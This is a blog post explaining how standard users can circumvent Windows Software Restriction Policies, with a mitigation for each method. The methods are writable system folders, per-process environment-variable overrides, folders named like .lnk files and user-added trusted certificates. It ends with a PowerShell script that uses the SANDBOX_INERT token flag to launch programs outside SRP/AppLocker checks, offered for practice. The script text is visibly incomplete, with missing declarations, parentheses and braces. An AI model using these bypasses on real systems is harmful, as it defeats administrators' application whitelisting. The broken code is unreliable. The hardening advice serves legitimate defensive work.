Hello folks, CryptoGuy is here again. Today I’ll talk about the most common ways to violate default SRP configurations and how to protect SRP against them.

System folders with write access

It is generally correct that regular users haven’t write permissions on system folders and we can safely allow to run any program from these folders (C:\Windows). However this statement is not fully correct. This is because there are folders where regular users have write and execute permissions. There are at least two common folders:

  1. System temp folder: C:\Windows\Temp
  2. Print spooler folder.

Depending on various factors, other folders will present as well. Here is a screenshot of Temp folder ACL:


while you can’t access folder directly, you can use command prompt to copy executable and launch them. The same story with printer spooler folder. There might be other custom folders in system folder with similar permissions. To enumerate all folders with users write access you can use, for example, AccessEnum utility from Sysinternals pack.

How to prevent these attacks? It is tough question. There are few ways. You can create explicit rules with Disallow security level. I doubt that there is a reason why users may want to launch executable from printer spooler folder. Another solution is that in certain cases you can redirect these folders to other locations (outside of system root folder). For example, you can redirect printer spooler folder to another location: http://support.microsoft.com/kb/318748.

Environment variables

In one of the previous posts I talked you about environment variables usage in path rules. Consider the following, you created path rules to allow programs in system and program folders by using environment variables:

  • %windir% (or %systemroot%);
  • %programfiles%
  • %programfiles(x86)%

Regular users cannot override these variables, because they don’t have sufficient rights. However, it is possible to override them (actually, all environment variables) for a single process. To test this trick, open Command Prompt (no elevation is required. Standard user permissions are sufficient) and look what I’m doing:

Microsoft Windows [Version 6.2.9200]
(c) 2012 Microsoft Corporation. All rights reserved.

C:\Users\vPodans>set programfiles=c:\

C:\Users\vPodans>echo %programfiles%


look, I changed %programfiles% variable location and tested whether it is changed. Now, you can run anything on C: drive. Of course, this affects only particular Command Prompt session, therefore you should launch files only via this CMD session. Once you close it, variable value will be returned back to it’s original value. To prevent this sort of attacks — do not use environment variables in path rules. Instead, use absolute paths or read paths from registry. You can use default path rules as example.

this trick doesn’t work against Applocker, because Applocker do not use real environment variables, but their own (even though, semantically they are similar or equal).

LNK extension

When we explored SRP configuration UI I told you to remove LNK (shortcut) extension from Designate File Types list. Now I explain why. If SRP screens LNK files, you have to create multiple exception rules to allow users to run applications via shortcuts. For example, you will have to allow shortcuts for user desktop, start menu:

  • C:\Users\*\Desktop\*.lnk

Now SRP allows users to run applications by using shortcuts on their desktops. However, SRP can’t differentiate files and folders. Therefore some user can create a folder on the desktop, for example “MyFolder.lnk”. LNK in the folder doesn’t mean anything, it is just a part of the folder name, not a folder extension (folders doesn’t have extensions). In this case, user will be able to run anything from that folder and any subfolder. Sad, but true. It is not only LNK extension issue, this is general path rule issue. This is why I recommend to not use path rules for locations where users have write permissions.

Trusted Publishers and digital signatures

Users can violate SRP with certificate rules. In fact, Certificate Rules are not native rule type for SRP, it is separate Windows mechanism and SRP just provides an UI. That is, certificate rules can be created and used even if there is no SRP.

Windows operating system supports four digital signature trust levels:

  1. Trusted — the signature is valid and was created by an explicitly trusted publisher. The signature is considered as trusted, when signing certificate is issued by a trusted authority and is placed in the Trusted Publishers certificate container.
  2. KnownIdentity — the identity is known and the signature is valid. A valid Authenticode signature provides an identity. In this case signing certificate must be issued by a trusted authority.
  3. UnknownIdentity — the identity is not known and the signature is invalid. Because there is no verified signature, an identity cannot be determined. In this case signing certificate was issued by an authority that is not trusted by the local system.
  4. Untrusted — the signature was created by an explicitly distrusted publisher. Any signing certificate can be considered as untrusted (even if it is issued by a trusted authority and placed in the Trusted Publishers certificate container) by placing it to Untrusted Certificates certificate store. Untrusted Certificates container has higher precedence than Trusted Publishers.

When you create certificate rule with Unrestricted security level, the certificate is placed in the Trusted Publishers certificate container (makes the signature fully trusted). Of course, signing certificate must be issued by a trusted authority. If you create certificate rule with Disallowed security level, signing certificate is placed in the Untrusted Certificates container (makes the signature fully untrusted).

Since, certificate rules are not native for SRP, you can manually create certificate rules without SRP Editor. For example, you have some signed file. You can extract signing certificate and manually install it to Trusted Publishers container in the current user certificate store (via certmgr.msc, for example). If the signing certificate is not issued by a trusted authority (for example, you generated a self-signed certificate and signed some file), you can install this certificate to Trusted Root CAs container in the current user certificate store. This process makes your malicious signature explicitly trusted and SRP will allow to run  such signed files without a question, because certificate rules has highest precedence.

This trick worked for many applications prior to Windows 7. Prior to Windows 7 Certificate Chaining Engine (CCE) allowed to establish a trust to a root certificate installed either in the local machine or current user store. Windows 7 changed this behavior and in most cases root certificates installed in the current user store are not trusted (except some desktop applications, like Internet Explorer). However, SRP still trusts any root certificate installed either or both in the local machine or current user store. You can see that this is a big security hole.

when Windows 7 released I faced a lot of issues in TechNet forums with SSTP VPN and Remote Desktop connections that complained about inability to verify certificate revocation status. This error was caused due to the fact that root certificate was installed in the current user certificate store, but CCE didn’t trust them. Since SSL certificate chain is partially trusted (when you open SSL certificate on the desktop, you will see that there is no error messages about certificate trust), revocation checking is not performing and fails with RevocationOffline error.

Fortunately there are numbers of ways to prevent such attacks:

1) prevent users to modify Trusted Publishers container in the SRP Editor:


When you switch radio button to middle position (Allow only all administrators to manage Trusted Publishers), users won’t be able to add certificates to Trusted Publishers container, thus preventing them to establish explicit trust to a particular signature (even if the signing certificate was issued by a trusted authority)., thus making administrators the only who can create certificate rules. Unfortunately certain applications relies on this container and may stop working after enforcing this setting. For example, I faced an issue that Windows Live applications (Messenger, Live Writer, Mesh, etc.) stopped working. On Windows XP/Windows Server 2003 systems this setting prevents system update installation and so on.

2) Prevent users to install custom root certificates to current user Trusted Root CAs container. To do this, open Group Policy Object Editor (for example, GPMC) and select the following node:

Computer Configuration\Windows Settings\Security Settings\Public Key Policies


And select Certificate Path Validation Settings:


In these settings unmark the checkbox on the following option: Allow user trusted root CAs to be used to validate certificates (recommended). In this case, regular users won’t be able to establish a trust to a custom root certificates. However, this setting do not prevent users from creating explicit trust to a certificate issued by a trusted authority. For example, a user may purchase a code signing certificate from DigiCert (they have one of the cheapest code signing certs on the market), sign any code/application, add signing certificate to Trusted Publishers container in the current user certificate store and run his own signed software without administrator approval.

As you see, we have two options to secure SRP, however each has some drawbacks. First is more secure, but may prevent to run some business applications. If you are running Windows Vista and newer systems and do not use Windows Live applications, you can test other applications with this setting. If they work as expected, then you can use this setting. If you are using Windows Live (for example, to communicate with clients and partners via Live Messenger) or certain business application stops working, then use second option and be aware about mentioned drawback.

CreateRestrictedToken function and programming stuff

Didier Stevens pointed me to a blog post that describes how to use scripting to alter all SRP and Applocker rules for a single process. Previously there were no ways to mitigate such attacks and SRP was deeply vulnerable. Thanks to Didier (again) and his cooperation with Microsoft, because we have an update that resolves this issue — You can circumvent AppLocker rules by using an Office macro on a computer that is running Windows 7 or Windows Server 2008 R2. As per CreateRestrictedToken function documentation, there is a SANDBOX_INERT flag that is fairly self-descriptive: If this value is used, the system does not check AppLocker rules or apply Software Restriction Policies. For AppLocker, this flag disables checks for all four rule collections: Executable, Windows Installer, Script, and DLL. When KB2532445 is installed, there is no way to use this flag without having Local System and/or TrustedInstaller permissions.

this update applies only to Windows 7 and Windows Server 2008 R2 systems. Systems prior to Windows 7 are still vulnerable. Windows 8, Windows Server 2012 includes this update in the box and no actions are required.

To those who want to practice in this, here is a PowerShell implementation of Didier’s C++ code:

function Start-Program {
        [Parameter(Mandatory = $true)]
$signature = @"
[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern bool OpenProcessToken(
  IntPtr ProcessHandle,
  uint DesiredAccess,
  ref IntPtr TokenHandle
[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern bool CreateRestrictedToken(
    IntPtr ExistingTokenHandle,
    uint Flags,
    uint DisableSidCount,
    IntPtr SidsToDisable,
    uint DeletePrivilegeCount,
    IntPtr PrivilegesToDelete,
    uint RestrictedSidCount,
    IntPtr SidsToRestrict,
    ref IntPtr NewTokenHandle
[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern bool CreateProcessAsUser(
    IntPtr hToken,
    string lpApplicationName,
    string lpCommandLine,
    IntPtr lpProcessAttributes,
    IntPtr lpThreadAttributes,
    bool bInheritHandles,
    uint dwCreationFlags,
    IntPtr lpEnvironment,
    string lpCurrentDirectory,
    STARTUPINFO lpStartupInfo,
    PROCESS_INFORMATION lpProcessInformation
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr GetCurrentProcess();

[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
    public IntPtr hProcess;
    public IntPtr hThread;
    public uint dwProcessId;
    public uint dwThreadId;
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct STARTUPINFO
     public Int32 cb;
     public string lpReserved;
     public string lpDesktop;
     public string lpTitle;
     public Int32 dwX;
     public Int32 dwY;
     public Int32 dwXSize;
     public Int32 dwYSize;
     public Int32 dwXCountChars;
     public Int32 dwYCountChars;
     public Int32 dwFillAttribute;
     public Int32 dwFlags;
     public Int16 wShowWindow;
     public Int16 cbReserved2;
     public IntPtr lpReserved2;
     public IntPtr hStdInput;
     public IntPtr hStdOutput;
     public IntPtr hStdError;
    Add-Type -MemberDefinition $signature -Namespace PKI -Name SRP
    $hToken = [IntPtr]::Zero
    $hNewToken = [IntPtr]::Zero
    $SI = New-Object PKI.SRP+STARTUPINFO -Property @{
        cb = [Runtime.InteropServices.Marshal]::SizeOf([PKI.SRP+STARTUPINFO]);
    if ([PKI.SRP]::OpenProcessToken([PKI.SRP]::GetCurrentProcess(),0xf01ff,[ref]$htoken)) {
        if ([PKI.SRP]::CreateRestrictedToken($hToken,2,0,0,0,0,0,0,[ref]$hNewToken)) {
            if ([PKI.SRP]::CreateProcessAsUser($hNewToken,$Path,"",0,0,$true,0,0,".\",$SI,$PI)) {
                Write-Host Enjoy!
            } else {Write-Host Fail!}

The function accepts only path to a file (executable).

Good luck!

Share this article:


Post your comment:

Please, solve this little equation and enter result below. Captcha